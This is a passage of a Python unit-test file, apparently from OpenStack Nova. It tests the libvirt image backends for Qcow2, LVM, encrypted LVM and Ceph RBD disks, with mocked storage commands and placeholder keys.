os.path.exists(self.PATH).AndReturn(True)
imagebackend.libvirt_utils.get_disk_backing_file(self.PATH)\
.AndReturn(self.QCOW2_BASE)
os.path.exists(self.QCOW2_BASE).AndReturn(False)
imagebackend.Image.verify_base_size(self.TEMPLATE_PATH, self.SIZE)
imagebackend.libvirt_utils.copy_image(self.TEMPLATE_PATH,
self.QCOW2_BASE)
image = imgmodel.LocalFileImage(self.QCOW2_BASE,
imgmodel.FORMAT_QCOW2)
imagebackend.disk.extend(image, self.SIZE)
os.path.exists(self.PATH).AndReturn(True)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
image.create_image(fn, self.TEMPLATE_PATH, self.SIZE)
self.mox.VerifyAll()
def test_qcow2_exists_and_has_no_backing_file(self):
fn = self.prepare_mocks()
fn(max_size=self.SIZE, target=self.TEMPLATE_PATH)
self.mox.StubOutWithMock(os.path, 'exists')
self.mox.StubOutWithMock(imagebackend.libvirt_utils,
'get_disk_backing_file')
self.mox.StubOutWithMock(imagebackend.Image,
'verify_base_size')
if self.OLD_STYLE_INSTANCE_PATH:
os.path.exists(self.OLD_STYLE_INSTANCE_PATH).AndReturn(False)
os.path.exists(self.DISK_INFO_PATH).AndReturn(False)
os.path.exists(self.INSTANCES_PATH).AndReturn(True)
os.path.exists(self.TEMPLATE_PATH).AndReturn(False)
os.path.exists(self.PATH).AndReturn(True)
imagebackend.libvirt_utils.get_disk_backing_file(self.PATH)\
.AndReturn(None)
imagebackend.Image.verify_base_size(self.TEMPLATE_PATH, self.SIZE)
os.path.exists(self.PATH).AndReturn(True)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
image.create_image(fn, self.TEMPLATE_PATH, self.SIZE)
self.mox.VerifyAll()
def test_resolve_driver_format(self):
image = self.image_class(self.INSTANCE, self.NAME)
driver_format = image.resolve_driver_format()
self.assertEqual(driver_format, 'qcow2')
def test_get_model(self):
image = self.image_class(self.INSTANCE, self.NAME)
model = image.get_model(FakeConn())
self.assertEqual(imgmodel.LocalFileImage(self.PATH,
imgmodel.FORMAT_QCOW2),
model)
class LvmTestCase(_ImageTestCase, test.NoDBTestCase):
VG = 'FakeVG'
TEMPLATE_SIZE = 512
SIZE = 1024
def setUp(self):
self.image_class = imagebackend.Lvm
super(LvmTestCase, self).setUp()
self.flags(images_volume_group=self.VG, group='libvirt')
self.flags(enabled=False, group='ephemeral_storage_encryption')
self.INSTANCE['ephemeral_key_uuid'] = None
self.LV = '%s_%s' % (self.INSTANCE['uuid'], self.NAME)
self.OLD_STYLE_INSTANCE_PATH = None
self.PATH = os.path.join('/dev', self.VG, self.LV)
self.disk = imagebackend.disk
self.utils = imagebackend.utils
self.lvm = imagebackend.lvm
def prepare_mocks(self):
fn = self.mox.CreateMockAnything()
self.mox.StubOutWithMock(self.disk, 'resize2fs')
self.mox.StubOutWithMock(self.lvm, 'create_volume')
self.mox.StubOutWithMock(self.disk, 'get_disk_size')
self.mox.StubOutWithMock(self.utils, 'execute')
return fn
def _create_image(self, sparse):
fn = self.prepare_mocks()
fn(max_size=None, target=self.TEMPLATE_PATH)
self.lvm.create_volume(self.VG,
self.LV,
self.TEMPLATE_SIZE,
sparse=sparse)
self.disk.get_disk_size(self.TEMPLATE_PATH
).AndReturn(self.TEMPLATE_SIZE)
cmd = ('qemu-img', 'convert', '-O', 'raw', self.TEMPLATE_PATH,
self.PATH)
self.utils.execute(*cmd, run_as_root=True)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
image.create_image(fn, self.TEMPLATE_PATH, None)
self.mox.VerifyAll()
def _create_image_generated(self, sparse):
fn = self.prepare_mocks()
self.lvm.create_volume(self.VG, self.LV,
self.SIZE, sparse=sparse)
fn(target=self.PATH, ephemeral_size=None)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
image.create_image(fn, self.TEMPLATE_PATH,
self.SIZE, ephemeral_size=None)
self.mox.VerifyAll()
def _create_image_resize(self, sparse):
fn = self.prepare_mocks()
fn(max_size=self.SIZE, target=self.TEMPLATE_PATH)
self.lvm.create_volume(self.VG, self.LV,
self.SIZE, sparse=sparse)
self.disk.get_disk_size(self.TEMPLATE_PATH
).AndReturn(self.TEMPLATE_SIZE)
cmd = ('qemu-img', 'convert', '-O', 'raw', self.TEMPLATE_PATH,
self.PATH)
self.utils.execute(*cmd, run_as_root=True)
self.disk.resize2fs(self.PATH, run_as_root=True)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
image.create_image(fn, self.TEMPLATE_PATH, self.SIZE)
self.mox.VerifyAll()
def test_cache(self):
self.mox.StubOutWithMock(os.path, 'exists')
if self.OLD_STYLE_INSTANCE_PATH:
os.path.exists(self.OLD_STYLE_INSTANCE_PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_DIR).AndReturn(False)
os.path.exists(self.PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_PATH).AndReturn(False)
fn = self.mox.CreateMockAnything()
fn(target=self.TEMPLATE_PATH)
self.mox.StubOutWithMock(imagebackend.fileutils, 'ensure_tree')
imagebackend.fileutils.ensure_tree(self.TEMPLATE_DIR)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
self.mock_create_image(image)
image.cache(fn, self.TEMPLATE)
self.mox.VerifyAll()
def test_cache_image_exists(self):
self.mox.StubOutWithMock(os.path, 'exists')
if self.OLD_STYLE_INSTANCE_PATH:
os.path.exists(self.OLD_STYLE_INSTANCE_PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_DIR).AndReturn(True)
os.path.exists(self.PATH).AndReturn(True)
os.path.exists(self.TEMPLATE_PATH).AndReturn(True)
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
image.cache(None, self.TEMPLATE)
self.mox.VerifyAll()
def test_cache_base_dir_exists(self):
self.mox.StubOutWithMock(os.path, 'exists')
if self.OLD_STYLE_INSTANCE_PATH:
os.path.exists(self.OLD_STYLE_INSTANCE_PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_DIR).AndReturn(True)
os.path.exists(self.PATH).AndReturn(False)
os.path.exists(self.TEMPLATE_PATH).AndReturn(False)
fn = self.mox.CreateMockAnything()
fn(target=self.TEMPLATE_PATH)
self.mox.StubOutWithMock(imagebackend.fileutils, 'ensure_tree')
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
self.mock_create_image(image)
image.cache(fn, self.TEMPLATE)
self.mox.VerifyAll()
def test_create_image(self):
self._create_image(False)
def test_create_image_sparsed(self):
self.flags(sparse_logical_volumes=True, group='libvirt')
self._create_image(True)
def test_create_image_generated(self):
self._create_image_generated(False)
def test_create_image_generated_sparsed(self):
self.flags(sparse_logical_volumes=True, group='libvirt')
self._create_image_generated(True)
def test_create_image_resize(self):
self._create_image_resize(False)
def test_create_image_resize_sparsed(self):
self.flags(sparse_logical_volumes=True, group='libvirt')
self._create_image_resize(True)
def test_create_image_negative(self):
fn = self.prepare_mocks()
fn(max_size=self.SIZE, target=self.TEMPLATE_PATH)
self.lvm.create_volume(self.VG,
self.LV,
self.SIZE,
sparse=False
).AndRaise(RuntimeError())
self.disk.get_disk_size(self.TEMPLATE_PATH
).AndReturn(self.TEMPLATE_SIZE)
self.mox.StubOutWithMock(self.lvm, 'remove_volumes')
self.lvm.remove_volumes([self.PATH])
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
self.assertRaises(RuntimeError, image.create_image, fn,
self.TEMPLATE_PATH, self.SIZE)
self.mox.VerifyAll()
def test_create_image_generated_negative(self):
fn = self.prepare_mocks()
fn(target=self.PATH,
ephemeral_size=None).AndRaise(RuntimeError())
self.lvm.create_volume(self.VG,
self.LV,
self.SIZE,
sparse=False)
self.mox.StubOutWithMock(self.lvm, 'remove_volumes')
self.lvm.remove_volumes([self.PATH])
self.mox.ReplayAll()
image = self.image_class(self.INSTANCE, self.NAME)
self.assertRaises(RuntimeError, image.create_image, fn,
self.TEMPLATE_PATH, self.SIZE,
ephemeral_size=None)
self.mox.VerifyAll()
def test_prealloc_image(self):
CONF.set_override('preallocate_images', 'space')
fake_processutils.fake_execute_clear_log()
fake_processutils.stub_out_processutils_execute(self.stubs)
image = self.image_class(self.INSTANCE, self.NAME)
def fake_fetch(target, *args, **kwargs):
return
self.stub_out('os.path.exists', lambda _: True)
self.stubs.Set(image, 'check_image_exists', lambda: True)
self.stubs.Set(image, 'get_disk_size', lambda _: self.SIZE)
image.cache(fake_fetch, self.TEMPLATE_PATH, self.SIZE)
self.assertEqual(fake_processutils.fake_execute_get_log(), [])
class EncryptedLvmTestCase(_ImageTestCase, test.NoDBTestCase):
VG = 'FakeVG'
TEMPLATE_SIZE = 512
SIZE = 1024
def setUp(self):
super(EncryptedLvmTestCase, self).setUp()
self.image_class = imagebackend.Lvm
self.flags(enabled=True, group='ephemeral_storage_encryption')
self.flags(cipher='aes-xts-plain64',
group='ephemeral_storage_encryption')
self.flags(key_size=512, group='ephemeral_storage_encryption')
self.flags(fixed_key='00000000000000000000000000000000'
'00000000000000000000000000000000',
group='keymgr')
self.flags(images_volume_group=self.VG, group='libvirt')
self.LV = '%s_%s' % (self.INSTANCE['uuid'], self.NAME)
self.OLD_STYLE_INSTANCE_PATH = None
self.LV_PATH = os.path.join('/dev', self.VG, self.LV)
self.PATH = os.path.join('/dev/mapper',
imagebackend.dmcrypt.volume_name(self.LV))
self.key_manager = keymgr.API()
self.INSTANCE['ephemeral_key_uuid'] =\
self.key_manager.create_key(self.CONTEXT)
self.KEY = self.key_manager.get_key(self.CONTEXT,
self.INSTANCE['ephemeral_key_uuid']).get_encoded()
self.lvm = imagebackend.lvm
self.disk = imagebackend.disk
self.utils = imagebackend.utils
self.libvirt_utils = imagebackend.libvirt_utils
self.dmcrypt = imagebackend.dmcrypt
def _create_image(self, sparse):
with test.nested(
mock.patch.object(self.lvm, 'create_volume', mock.Mock()),
mock.patch.object(self.lvm, 'remove_volumes', mock.Mock()),
mock.patch.object(self.disk, 'resize2fs', mock.Mock()),
mock.patch.object(self.disk, 'get_disk_size',
mock.Mock(return_value=self.TEMPLATE_SIZE)),
mock.patch.object(self.dmcrypt, 'create_volume', mock.Mock()),
mock.patch.object(self.dmcrypt, 'delete_volume', mock.Mock()),
mock.patch.object(self.dmcrypt, 'list_volumes', mock.Mock()),
mock.patch.object(self.libvirt_utils, 'create_lvm_image',
mock.Mock()),
mock.patch.object(self.libvirt_utils, 'remove_logical_volumes',
mock.Mock()),
mock.patch.object(self.utils, 'execute', mock.Mock())):
fn = mock.Mock()
image = self.image_class(self.INSTANCE, self.NAME)
image.create_image(fn, self.TEMPLATE_PATH, self.TEMPLATE_SIZE,
context=self.CONTEXT)
fn.assert_called_with(context=self.CONTEXT,
max_size=self.TEMPLATE_SIZE,
target=self.TEMPLATE_PATH)
self.lvm.create_volume.assert_called_with(self.VG,
self.LV,
self.TEMPLATE_SIZE,
sparse=sparse)
self.dmcrypt.create_volume.assert_called_with(
self.PATH.rpartition('/')[2],
self.LV_PATH,
CONF.ephemeral_storage_encryption.cipher,
CONF.ephemeral_storage_encryption.key_size,
self.KEY)
cmd = ('qemu-img',
'convert',
'-O',
'raw',
self.TEMPLATE_PATH,
self.PATH)
self.utils.execute.assert_called_with(*cmd, run_as_root=True)
def _create_image_generated(self, sparse):
with test.nested(
mock.patch.object(self.lvm, 'create_volume', mock.Mock()),
mock.patch.object(self.lvm, 'remove_volumes', mock.Mock()),
mock.patch.object(self.disk, 'resize2fs', mock.Mock()),
mock.patch.object(self.disk, 'get_disk_size',
mock.Mock(return_value=self.TEMPLATE_SIZE)),
mock.patch.object(self.dmcrypt, 'create_volume', mock.Mock()),
mock.patch.object(self.dmcrypt, 'delete_volume', mock.Mock()),
mock.patch.object(self.dmcrypt, 'list_volumes', mock.Mock()),
mock.patch.object(self.libvirt_utils, 'create_lvm_image',
mock.Mock()),
mock.patch.object(self.libvirt_utils, 'remove_logical_volumes',
mock.Mock()),
mock.patch.object(self.utils, 'execute', mock.Mock())):
fn = mock.Mock()
image = self.image_class(self.INSTANCE, self.NAME)
image.create_image(fn, self.TEMPLATE_PATH,
self.SIZE,
ephemeral_size=None,
context=self.CONTEXT)
self.lvm.create_volume.assert_called_with(
self.VG,
self.LV,
self.SIZE,
sparse=sparse)
self.dmcrypt.create_volume.assert_called_with(
self.PATH.rpartition('/')[2],
self.LV_PATH,
CONF.ephemeral_storage_encryption.cipher,
CONF.ephemeral_storage_encryption.key_size,
self.KEY)
fn.assert_called_with(target=self.PATH,
ephemeral_size=None, context=self.CONTEXT)
def _create_image_resize(self, sparse):
with test.nested(
mock.patch.object(self.lvm, 'create_volume', mock.Mock()),
mock.patch.object(self.lvm, 'remove_volumes', mock.Mock()),
mock.patch.object(self.disk, 'resize2fs', mock.Mock()),
mock.patch.object(self.disk, 'get_disk_size',
mock.Mock(return_value=self.TEMPLATE_SIZE)),
mock.patch.object(self.dmcrypt, 'create_volume', mock.Mock()),
mock.patch.object(self.dmcrypt, 'delete_volume', mock.Mock()),
mock.patch.object(self.dmcrypt, 'list_volumes', mock.Mock()),
mock.patch.object(self.libvirt_utils, 'create_lvm_image',
mock.Mock()),
mock.patch.object(self.libvirt_utils, 'remove_logical_volumes',
mock.Mock()),
mock.patch.object(self.utils, 'execute', mock.Mock())):
fn = mock.Mock()
image = self.image_class(self.INSTANCE, self.NAME)
image.create_image(fn, self.TEMPLATE_PATH, self.SIZE,
context=self.CONTEXT)
fn.assert_called_with(context=self.CONTEXT, max_size=self.SIZE,
target=self.TEMPLATE_PATH)
self.disk.get_disk_size.assert_called_with(self.TEMPLATE_PATH)
self.lvm.create_volume.assert_called_with(
self.VG,
self.LV,
self.SIZE,
sparse=sparse)
self.dmcrypt.create_volume.assert_called_with(
self.PATH.rpartition('/')[2],
self.LV_PATH,
CONF.ephemeral_storage_encryption.cipher,
CONF.ephemeral_storage_encryption.key_size,
self.KEY)
cmd = ('qemu-img',
'convert',
'-O',
'raw',
self.TEMPLATE_PATH,
self.PATH)
self.utils.execute.assert_called_with(*cmd, run_as_root=True)
self.disk.resize2fs.assert_called_with(self.PATH, run_as_root=True)
def test_create_image(self):
self._create_image(False)
def test_create_image_sparsed(self):
self.flags(sparse_logical_volumes=True, group='libvirt')
self._create_image(True)
def test_create_image_generated(self):
self._create_image_generated(False)
def test_create_image_generated_sparsed(self):
self.flags(sparse_logical_volumes=True, group='libvirt')
self._create_image_generated(True)
def test_create_image_resize(self):
self._create_image_resize(False)
def test_create_image_resize_sparsed(self):
self.flags(sparse_logical_volumes=True, group='libvirt')
self._create_image_resize(True)
def test_create_image_negative(self):
with test.nested(
mock.patch.object(self.lvm, 'create_volume', mock.Mock()),
mock.patch.object(self.lvm, 'remove_volumes', mock.Mock()),
mock.patch.object(self.disk, 'resize2fs', mock.Mock()),
mock.patch.object(self.disk, 'get_disk_size',
mock.Mock(return_value=self.TEMPLATE_SIZE)),
mock.patch.object(self.dmcrypt, 'create_volume', mock.Mock()),
mock.patch.object(self.dmcrypt, 'delete_volume', mock.Mock()),
mock.patch.object(self.dmcrypt, 'list_volumes', mock.Mock()),
mock.patch.object(self.libvirt_utils, 'create_lvm_image',
mock.Mock()),
mock.patch.object(self.libvirt_utils, 'remove_logical_volumes',
mock.Mock()),
mock.patch.object(self.utils, 'execute', mock.Mock())):
fn = mock.Mock()
self.lvm.create_volume.side_effect = RuntimeError()
image = self.image_class(self.INSTANCE, self.NAME)
self.assertRaises(
RuntimeError,
image.create_image,
fn,
self.TEMPLATE_PATH,
self.SIZE,
context=self.CONTEXT)
fn.assert_called_with(
context=self.CONTEXT,
max_size=self.SIZE,
target=self.TEMPLATE_PATH)
self.disk.get_disk_size.assert_called_with(
self.TEMPLATE_PATH)
self.lvm.create_volume.assert_called_with(
self.VG,
self.LV,
self.SIZE,
sparse=False)
self.dmcrypt.delete_volume.assert_called_with(
self.PATH.rpartition('/')[2])
self.lvm.remove_volumes.assert_called_with([self.LV_PATH])
def test_create_image_encrypt_negative(self):
with test.nested(
mock.patch.object(self.lvm, 'create_volume', mock.Mock()),
mock.patch.object(self.lvm, 'remove_volumes', mock.Mock()),
mock.patch.object(self.disk, 'resize2fs', mock.Mock()),
mock.patch.object(self.disk, 'get_disk_size',
mock.Mock(return_value=self.TEMPLATE_SIZE)),
mock.patch.object(self.dmcrypt, 'create_volume', mock.Mock()),
mock.patch.object(self.dmcrypt, 'delete_volume', mock.Mock()),
mock.patch.object(self.dmcrypt, 'list_volumes', mock.Mock()),
mock.patch.object(self.libvirt_utils, 'create_lvm_image',
mock.Mock()),
mock.patch.object(self.libvirt_utils, 'remove_logical_volumes',
mock.Mock()),
mock.patch.object(self.utils, 'execute', mock.Mock())):
fn = mock.Mock()
self.dmcrypt.create_volume.side_effect = RuntimeError()
image = self.image_class(self.INSTANCE, self.NAME)
self.assertRaises(
RuntimeError,
image.create_image,
fn,
self.TEMPLATE_PATH,
self.SIZE,
context=self.CONTEXT)
fn.assert_called_with(
context=self.CONTEXT,
max_size=self.SIZE,
target=self.TEMPLATE_PATH)
self.disk.get_disk_size.assert_called_with(self.TEMPLATE_PATH)
self.lvm.create_volume.assert_called_with(
self.VG,
self.LV,
self.SIZE,
sparse=False)
self.dmcrypt.create_volume.assert_called_with(
self.dmcrypt.volume_name(self.LV),
self.LV_PATH,
CONF.ephemeral_storage_encryption.cipher,
CONF.ephemeral_storage_encryption.key_size,
self.KEY)
self.dmcrypt.delete_volume.assert_called_with(
self.PATH.rpartition('/')[2])
self.lvm.remove_volumes.assert_called_with([self.LV_PATH])
def test_create_image_generated_negative(self):
with test.nested(
mock.patch.object(self.lvm, 'create_volume', mock.Mock()),
mock.patch.object(self.lvm, 'remove_volumes', mock.Mock()),
mock.patch.object(self.disk, 'resize2fs', mock.Mock()),
mock.patch.object(self.disk, 'get_disk_size',
mock.Mock(return_value=self.TEMPLATE_SIZE)),
mock.patch.object(self.dmcrypt, 'create_volume', mock.Mock()),
mock.patch.object(self.dmcrypt, 'delete_volume', mock.Mock()),
mock.patch.object(self.dmcrypt, 'list_volumes', mock.Mock()),
mock.patch.object(self.libvirt_utils, 'create_lvm_image',
mock.Mock()),
mock.patch.object(self.libvirt_utils, 'remove_logical_volumes',
mock.Mock()),
mock.patch.object(self.utils, 'execute', mock.Mock())):
fn = mock.Mock()
fn.side_effect = RuntimeError()
image = self.image_class(self.INSTANCE, self.NAME)
self.assertRaises(RuntimeError,
image.create_image,
fn,
self.TEMPLATE_PATH,
self.SIZE,
ephemeral_size=None,
context=self.CONTEXT)
self.lvm.create_volume.assert_called_with(
self.VG,
self.LV,
self.SIZE,
sparse=False)
self.dmcrypt.create_volume.assert_called_with(
self.PATH.rpartition('/')[2],
self.LV_PATH,
CONF.ephemeral_storage_encryption.cipher,
CONF.ephemeral_storage_encryption.key_size,
self.KEY)
fn.assert_called_with(
target=self.PATH,
ephemeral_size=None,
context=self.CONTEXT)
self.dmcrypt.delete_volume.assert_called_with(
self.PATH.rpartition('/')[2])
self.lvm.remove_volumes.assert_called_with([self.LV_PATH])
def test_create_image_generated_encrypt_negative(self):
with test.nested(
mock.patch.object(self.lvm, 'create_volume', mock.Mock()),
mock.patch.object(self.lvm, 'remove_volumes', mock.Mock()),
mock.patch.object(self.disk, 'resize2fs', mock.Mock()),
mock.patch.object(self.disk, 'get_disk_size',
mock.Mock(return_value=self.TEMPLATE_SIZE)),
mock.patch.object(self.dmcrypt, 'create_volume', mock.Mock()),
mock.patch.object(self.dmcrypt, 'delete_volume', mock.Mock()),
mock.patch.object(self.dmcrypt, 'list_volumes', mock.Mock()),
mock.patch.object(self.libvirt_utils, 'create_lvm_image',
mock.Mock()),
mock.patch.object(self.libvirt_utils, 'remove_logical_volumes',
mock.Mock()),
mock.patch.object(self.utils, 'execute', mock.Mock())):
fn = mock.Mock()
fn.side_effect = RuntimeError()
image = self.image_class(self.INSTANCE, self.NAME)
self.assertRaises(
RuntimeError,
image.create_image,
fn,
self.TEMPLATE_PATH,
self.SIZE,
ephemeral_size=None,
context=self.CONTEXT)
self.lvm.create_volume.assert_called_with(
self.VG,
self.LV,
self.SIZE,
sparse=False)
self.dmcrypt.create_volume.assert_called_with(
self.PATH.rpartition('/')[2],
self.LV_PATH,
CONF.ephemeral_storage_encryption.cipher,
CONF.ephemeral_storage_encryption.key_size,
self.KEY)
self.dmcrypt.delete_volume.assert_called_with(
self.PATH.rpartition('/')[2])
self.lvm.remove_volumes.assert_called_with([self.LV_PATH])
def test_prealloc_image(self):
self.flags(preallocate_images='space')
fake_processutils.fake_execute_clear_log()
fake_processutils.stub_out_processutils_execute(self.stubs)
image = self.image_class(self.INSTANCE, self.NAME)
def fake_fetch(target, *args, **kwargs):
return
self.stub_out('os.path.exists', lambda _: True)
self.stubs.Set(image, 'check_image_exists', lambda: True)
self.stubs.Set(image, 'get_disk_size', lambda _: self.SIZE)
image.cache(fake_fetch, self.TEMPLATE_PATH, self.SIZE)
self.assertEqual(fake_processutils.fake_execute_get_log(), [])
def test_get_model(self):
image = self.image_class(self.INSTANCE, self.NAME)
model = image.get_model(FakeConn())
self.assertEqual(imgmodel.LocalBlockImage(self.PATH),
model)
class RbdTestCase(_ImageTestCase, test.NoDBTestCase):
FSID = "FakeFsID"
POOL = "FakePool"
USER = "FakeUser"
CONF = "FakeConf"
SIZE = 1024
def setUp(self):
self.image_class = imagebackend.Rbd
super(RbdTestCase, self).setUp()
self.flags(images_rbd_pool=self.POOL,
rbd_user=self.USER,
images_rbd_ceph_conf=self.CONF,
group='libvirt')
self.libvirt_utils = imagebackend.libvirt_utils
self.utils = imagebackend.utils
self.mox.StubOutWithMock(rbd_utils, 'rbd')
self.mox.StubOutWithMock(rbd_utils, 'rados')
def test_cache(self):
image = self.image_class(self.INSTANCE, self.NAME)
self.mox.StubOutWithMock(os.path, 'exists')
self.mox.StubOutWithMock(image, 'check_image_exists')
os.path.exists(self.TEMPLATE_DIR).AndReturn(False)
image.check_image_exists().AndReturn(False)
os.path.exists(self.TEMPLATE_PATH).AndReturn(False)
fn = self.mox.CreateMockAnything()
fn(target=self.TEMPLATE_PATH)
self.mox.StubOutWithMock(imagebackend.fileutils, 'ensure_tree')
imagebackend.fileutils.ensure_tree(self.TEMPLATE_DIR)
self.mox.ReplayAll()
self.mock_create_image(image)
image.cache(fn, self.TEMPLATE)
self.mox.VerifyAll()
def test_cache_base_dir_exists(self):
fn = self.mox.CreateMockAnything()
image = self.image_class(self.INSTANCE, self.NAME)
self.mox.StubOutWithMock(os.path, 'exists')
self.mox.StubOutWithMock(image, 'check_image_exists')
os.path.exists(self.TEMPLATE_DIR).AndReturn(True)
image.check_image_exists().AndReturn(False)
os.path.exists(self.TEMPLATE_PATH).AndReturn(False)
fn = self.mox.CreateMockAnything()
fn(target=self.TEMPLATE_PATH)
self.mox.StubOutWithMock(imagebackend.fileutils, 'ensure_tree')
self.mox.ReplayAll()
self.mock_create_image(image)
image.cache(fn, self.TEMPLATE)
self.mox.VerifyAll()
def test_cache_image_exists(self):
image = self.image_class(self.INSTANCE, self.NAME)
self.mox.StubOutWithMock(os.path, 'exists')
self.mox.StubOutWithMock(image, 'check_image_exists')
os.path.exists(self.TEMPLATE_DIR).AndReturn(True)
image.check_image_exists().AndReturn(True)
os.path.exists(self.TEMPLATE_PATH).AndReturn(True)
self.mox.ReplayAll()
image.cache(None, self.TEMPLATE)
self.mox.VerifyAll()
def test_cache_template_exists(self):
image = self.image_class(self.INSTANCE, self.NAME)
self.mox.StubOutWithMock(os.path, 'exists')
self.mox.StubOutWithMock(image, 'check_image_exists')
os.path.exists(self.TEMPLATE_DIR).AndReturn(True)
image.check_image_exists().AndReturn(False)
os.path.exists(self.TEMPLATE_PATH).AndReturn(True)
self.mox.ReplayAll()
self.mock_create_image(image)
image.cache(None, self.TEMPLATE)
self.mox.VerifyAll()
def test_create_image(self):
fn = self.mox.CreateMockAnything()
fn(max_size=None, target=self.TEMPLATE_PATH)
rbd_utils.rbd.RBD_FEATURE_LAYERING = 1
fake_processutils.fake_execute_clear_log()
fake_processutils.stub_out_processutils_execute(self.stubs)
image = self.image_class(self.INSTANCE, self.NAME)
self.mox.StubOutWithMock(image, 'check_image_exists')
image.check_image_exists().AndReturn(False)
image.check_image_exists().AndReturn(False)
self.mox.ReplayAll()
image.create_image(fn, self.TEMPLATE_PATH, None)
rbd_name = "%s_%s" % (self.INSTANCE['uuid'], self.NAME)
cmd = ('rbd', 'import', '--pool', self.POOL, self.TEMPLATE_PATH,
rbd_name, '--image-format=2', '--id', self.USER,
'--conf', self.CONF)
self.assertEqual(fake_processutils.fake_execute_get_log(),
[' '.join(cmd)])
self.mox.VerifyAll()
def test_create_image_resize(self):
fn = self.mox.CreateMockAnything()
full_size = self.SIZE * 2
fn(max_size=full_size, target=self.TEMPLATE_PATH)
rbd_utils.rbd.RBD_FEATURE_LAYERING = 1
fake_processutils.fake_execute_clear_log()
fake_processutils.stub_out_processutils_execute(self.stubs)
image = self.image_class(self.INSTANCE, self.NAME)
self.mox.StubOutWithMock(image, 'check_image_exists')
image.check_image_exists().AndReturn(False)
image.check_image_exists().AndReturn(False)
rbd_name = "%s_%s" % (self.INSTANCE['uuid'], self.NAME)
cmd = ('rbd', 'import', '--pool', self.POOL, self.TEMPLATE_PATH,
rbd_name, '--image-format=2', '--id', self.USER,
'--conf', self.CONF)
self.mox.StubOutWithMock(image, 'get_disk_size')
image.get_disk_size(rbd_name).AndReturn(self.SIZE)
self.mox.StubOutWithMock(image.driver, 'resize')
image.driver.resize(rbd_name, full_size)
self.mox.StubOutWithMock(image, 'verify_base_size')
image.verify_base_size(self.TEMPLATE_PATH, full_size)
self.mox.ReplayAll()
image.create_image(fn, self.TEMPLATE_PATH, full_size)
self.assertEqual(fake_processutils.fake_execute_get_log(),
[' '.join(cmd)])
self.mox.VerifyAll()
def test_create_image_already_exists(self):
rbd_utils.rbd.RBD_FEATURE_LAYERING = 1
image = self.image_class(self.INSTANCE, self.NAME)
self.mox.StubOutWithMock(image, 'check_image_exists')
image.check_image_exists().AndReturn(True)
self.mox.StubOutWithMock(image, 'get_disk_size')
image.get_disk_size(self.TEMPLATE_PATH).AndReturn(self.SIZE)
image.check_image_exists().AndReturn(True)
rbd_name = "%s_%s" % (self.INSTANCE['uuid'], self.NAME)
image.get_disk_size(rbd_name).AndReturn(self.SIZE)
self.mox.ReplayAll()
fn = self.mox.CreateMockAnything()
image.create_image(fn, self.TEMPLATE_PATH, self.SIZE)
self.mox.VerifyAll()
def test_prealloc_image(self):
CONF.set_override('preallocate_images', 'space')
fake_processutils.fake_execute_clear_log()
fake_processutils.stub_out_processutils_execute(self.stubs)
image = self.image_class(self.INSTANCE, self.NAME)
def fake_fetch(target, *args, **kwargs):
return
self.stub_out('os.path.exists', lambda _: True)
self.stubs.Set(image, 'check_image_exists', lambda: True)
self.stubs.Set(image, 'get_disk_size', lambda _: self.SIZE)
image.cache(fake_fetch, self.TEMPLATE_PATH, self.SIZE)
self.assertEqual(fake_processutils.fake_execute_get_log(), [])
def test_parent_compatible(self):
self.assertEqual(inspect.getargspec(imagebackend.Image.libvirt_info),
inspect.getargspec(self.image_class.libvirt_info))
def test_image_path(self):
conf = "FakeConf"
pool = "FakePool"
user = "FakeUser"
self.flags(images_rbd_pool=pool, group='libvirt')
self.flags(images_rbd_ceph_conf=conf, group='libvirt')
self.flags(rbd_user=user, group='libvirt')
image = self.image_class(self.INSTANCE, self.NAME)
rbd_path = "rbd:%s/%s:id=%s:conf=%s" % (pool, image.rbd_name,
user, conf)
self.assertEqual(image.path, rbd_path)
def test_get_disk_size(self):
image = self.image_class(self.INSTANCE, self.NAME)
with mock.patch.object(image.driver, 'size') as size_mock:
size_mock.return_value = 2361393152
self.assertEqual(2361393152, image.get_disk_size(image.path))
size_mock.assert_called_once_with(image.rbd_name)
def test_create_image_too_small(self):
image = self.image_class(self.INSTANCE, self.NAME)
with mock.patch.object(image, 'driver') as driver_mock:
driver_mock.exists.return_value = True
driver_mock.size.return_value = 2
self.assertRaises(exception.FlavorDiskSmallerThanImage,
image.create_image, mock.MagicMock(),
self.TEMPLATE_PATH, 1)
driver_mock.size.assert_called_once_with(image.rbd_name)
@mock.patch.object(rbd_utils.RBDDriver, "get_mon_addrs")
def test_libvirt_info(self, mock_mon_addrs):
def get_mon_addrs():
hosts = ["server1", "server2"]
ports = ["1899", "1920"]
return hosts, ports
mock_mon_addrs.side_effect = get_mon_addrs
super(RbdTestCase, self).test_libvirt_info()
@mock.patch.object(rbd_utils.RBDDriver, "get_mon_addrs")
def test_get_model(self, mock_mon_addrs):
pool = "FakePool"
user = "FakeUser"
self.flags(images_rbd_pool=pool, group='libvirt')
self.flags(rbd_user=user, group='libvirt')
self.flags(rbd_secret_uuid="3306a5c4-8378-4b3c-aa1f-7b48d3a26172",
group='libvirt')
def get_mon_addrs():
hosts = ["server1", "server2"]
ports = ["1899", "1920"]
return hosts, ports
mock_mon_addrs.side_effect = get_mon_addrs
image = self.image_class(self.INSTANCE, self.NAME)
model = image.get_model(FakeConn())
self.assertEqual(imgmodel.RBDImage(
self.INSTANCE["uuid"] + "_fake.vm",
"FakePool",
"FakeUser",
"MTIzNDU2Cg==",
["server1:1899", "server2:1920"]),
model)
def test_import_file(self):
image = self.image_class(self.INSTANCE, self.NAME)
@mock.patch.object(image, 'check_image_exists')
@mock.patch.object(image.driver, 'remove_image')
@mock.patch.object(image.driver, 'import_image')
def _test(mock_import, mock_remove, mock_exists):
mock_exists.return_value = True
image.import_file(self.INSTANCE, mock.sentinel.file,
mock.sentinel.remote_name)
name = '%s_%s' % (self.INSTANCE.uuid,
